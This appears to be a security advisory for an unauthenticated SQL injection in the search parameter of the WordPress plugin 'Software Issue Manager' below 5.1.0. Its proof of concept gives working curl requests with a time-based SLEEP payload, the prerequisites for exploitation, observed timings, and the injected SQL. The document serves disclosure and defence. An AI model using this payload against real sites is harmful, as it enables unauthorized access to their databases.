Software Issue Manager < 5.1.0 – Unauthenticated SQL Injection via Search Parameter | CVE 2026-12877

Description

The plugin does not sanitise and escape user supplied input before using it in a SQL query, allowing unauthenticated attackers to perform SQL injection attacks. This is exploitable in the plugin's standard front-end issue-tracker configuration.

Proof of Concept

# Prerequisites (the plugin's standard issue-tracker setup):
#  - At least one entity (e.g. Issues) has front-end "limit by author" enabled
#    (this is the DEFAULT after activation for the Issue and Project entities).
#  - At least one guest-submitted, published issue exists (post_author = 0 or
#    postmeta wpas_form_submitted_by = 'Visitor'). This is created by the plugin's
#    normal front-end "submit an issue" workflow.
# Under these conditions the front-end search query is rewritten so the raw
# search term is concatenated into the SQL, reachable unauthenticated.

# 1. Baseline - normal search (no login, no cookies)
curl -s -o /dev/null -w '%{time_total}\n' \
  --data-urlencode "s=harmless" -G \
  "http://TARGET/"
# Expected: ~0.1s

# 2. Injection - SLEEP(3) via the search parameter (unauthenticated)
curl -s -o /dev/null -w '%{time_total}\n' \
  --data-urlencode "s=%' AND (SELECT SLEEP(3)) AND '%'='" -G \
  "http://TARGET/"
# Expected: multi-second delay (SLEEP executes per row scanned by the rewritten query)

# 3. Control - SLEEP(0) proves the delay is not server load
curl -s -o /dev/null -w '%{time_total}\n' \
  --data-urlencode "s=%' AND (SELECT SLEEP(0)) AND '%'='" -G \
  "http://TARGET/"
# Expected: ~0.1s

# Observed in DDEV (WordPress multisite / MariaDB), one guest-submitted published issue present:
#   baseline   ->  0.05 s
#   SLEEP(3)   -> 42.12 s  <- attacker-controlled SQL executed by the DB
#   SLEEP(0)   ->  0.07 s

# The injected SQL reaching the DB (rewritten main search query):
# ... UNION (SELECT * FROM wp_posts WHERE wp_posts.post_type='emd_issue'
#     AND wp_posts.post_status='publish' AND (wp_posts.post_title LIKE '%%'
#     AND (SELECT SLEEP(3)) AND '%'='%') OR (wp_posts.post_content LIKE '%%'
#     AND (SELECT SLEEP(3)) AND '%'='%')) ...